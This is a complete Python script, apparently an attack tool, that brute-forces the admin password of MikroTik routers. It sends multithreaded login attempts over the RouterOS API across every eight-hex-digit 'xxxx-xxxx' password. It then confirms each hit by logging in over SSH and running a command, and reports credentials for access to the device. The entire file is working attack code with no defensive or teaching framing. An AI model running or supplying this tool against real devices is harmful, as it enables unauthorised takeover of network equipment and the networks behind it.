#!/usr/bin/env python3 """ Reliable Fast MikroTik Brute Force Optimized for speed while maintaining authentication accuracy """ import socket import time import threading from concurrent.futures import ThreadPoolExecutor import queue import sys class ReliableFastBruteForce: def __init__(self, host, port=8728): self.host = host self.port = port self.username = "admin" self.attempts = 0 self.start_time = None self.lock = threading.Lock() self.stop_flag = threading.Event() self.found_password = None def reliable_api_test(self, password): """Fast but reliable API test""" if self.stop_flag.is_set(): return False try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sock.settimeout(2) # Reasonable timeout sock.connect((self.host, self.port)) def encode_length(length): if length <= 0x7F: return bytes([length]) elif length <= 0x3FFF: return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF]) else: return bytes([0xFF]) def write_word(word): word_bytes = word.encode('utf-8') sock.send(encode_length(len(word_bytes))) sock.send(word_bytes) def write_sentence(words): for word in words: write_word(word) write_word("") def read_word(): try: length_byte = sock.recv(1) if not length_byte: return "" length = length_byte[0] if length == 0: return "" if length & 0x80: second_byte = sock.recv(1) if not second_byte: return "" length = ((length & 0x7F) << 8) + second_byte[0] if length > 500: # Sanity check return "" return sock.recv(length).decode('utf-8', 'ignore') except: return "" def read_sentence(): sentence = [] tries = 0 while tries < 10: # Limit attempts word = read_word() if word == "": break sentence.append(word) tries += 1 return sentence # Send login write_sentence(["/login", f"=name={self.username}", f"=password={password}"]) # Read response with timeout sock.settimeout(1) # Shorter timeout for response response = read_sentence() sock.close() # Reliable success detection if response and len(response) > 0: if response[0] == "!done": return True elif response[0] == "!trap": # Check for specific error message for item in response: if "invalid user name or password" in item.lower(): return False return False return False except Exception: return False def verify_password(self, password): """Double-check a potential password with multiple methods""" print(f"\nVerifying potential password: {password}") # Test API multiple times api_results = [] for i in range(3): result = self.reliable_api_test(password) api_results.append(result) time.sleep(0.1) api_success = sum(api_results) >= 2 # Majority vote # Test SSH as secondary verification ssh_success = False try: import paramiko client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect( self.host, port=22, username=self.username, password=password, timeout=3, allow_agent=False, look_for_keys=False, ) # Try to execute a command stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2) output = stdout.read().decode() client.close() ssh_success = len(output) > 5 # Got some output except Exception: ssh_success = False print(f" API results: {api_results} (success: {api_success})") print(f" SSH result: {ssh_success}") # Require both API and SSH success for verification return api_success and ssh_success def batch_worker(self, start_val, batch_size): """Process a batch of passwords""" local_attempts = 0 for i in range(batch_size): if self.stop_flag.is_set(): break value = start_val + i if value > 0xFFFFFFFF: break hex_str = f"{value:08x}" password = f"{hex_str[:4]}-{hex_str[4:]}" local_attempts += 1 if self.reliable_api_test(password): # Potential match - verify it thoroughly if self.verify_password(password): with self.lock: self.attempts += local_attempts print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***") self.found_password = password self.stop_flag.set() return True else: print(f" False positive rejected: {password}") with self.lock: self.attempts += local_attempts return False def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0): """Run reliable fast brute force""" print(f"Reliable Fast MikroTik Brute Force") print(f"Host: {self.host}") print(f"Workers: {max_workers}") print(f"Batch size: {batch_size}") print(f"Starting from: 0x{start_from:08x}") print("Features: Double verification, false positive rejection") print("=" * 70) self.start_time = time.time() # Progress reporter def progress_reporter(): last_attempts = 0 while not self.stop_flag.is_set(): time.sleep(5) # Report every 5 seconds with self.lock: current_attempts = self.attempts if current_attempts > 0: elapsed = time.time() - self.start_time rate = current_attempts / elapsed recent_rate = (current_attempts - last_attempts) / 5 current_value = start_from + current_attempts hex_val = f"{current_value:08x}" password = f"{hex_val[:4]}-{hex_val[4:]}" print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)") print(f" Current: {password} (0x{current_value:08x})") last_attempts = current_attempts progress_thread = threading.Thread(target=progress_reporter, daemon=True) progress_thread.start() # Submit work in batches with ThreadPoolExecutor(max_workers=max_workers) as executor: futures = [] current_val = start_from # Submit initial work for _ in range(max_workers * 2): if current_val > 0xFFFFFFFF: break future = executor.submit(self.batch_worker, current_val, batch_size) futures.append(future) current_val += batch_size # Process results and submit more work while futures and not self.stop_flag.is_set(): completed = [] for future in futures: if future.done(): completed.append(future) try: if future.result(): # Found password self.stop_flag.set() break except Exception as e: print(f"Worker error: {e}") # Remove completed futures for future in completed: futures.remove(future) # Submit more work while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set(): future = executor.submit(self.batch_worker, current_val, batch_size) futures.append(future) current_val += batch_size time.sleep(0.1) elapsed = time.time() - self.start_time rate = self.attempts / elapsed if elapsed > 0 else 0 print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)") return self.found_password def main(): if len(sys.argv) < 2: print("Usage: python3 mikrotik_reliable_fast.py [workers] [start_hex]") print("Examples:") print(" python3 mikrotik_reliable_fast.py 10.250.2.2") print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000") sys.exit(1) host = sys.argv[1] workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8 start_from = 0 if len(sys.argv) > 3: start_hex = sys.argv[3] start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex) attacker = ReliableFastBruteForce(host) password = attacker.run_reliable_fast( max_workers=workers, batch_size=50, start_from=start_from ) if password: print(f"\n✓ VERIFIED SUCCESS! Password: {password}") print(f"You can now access the device with admin:{password}") else: print(f"\n✗ No password found in tested range") if __name__ == "__main__": main()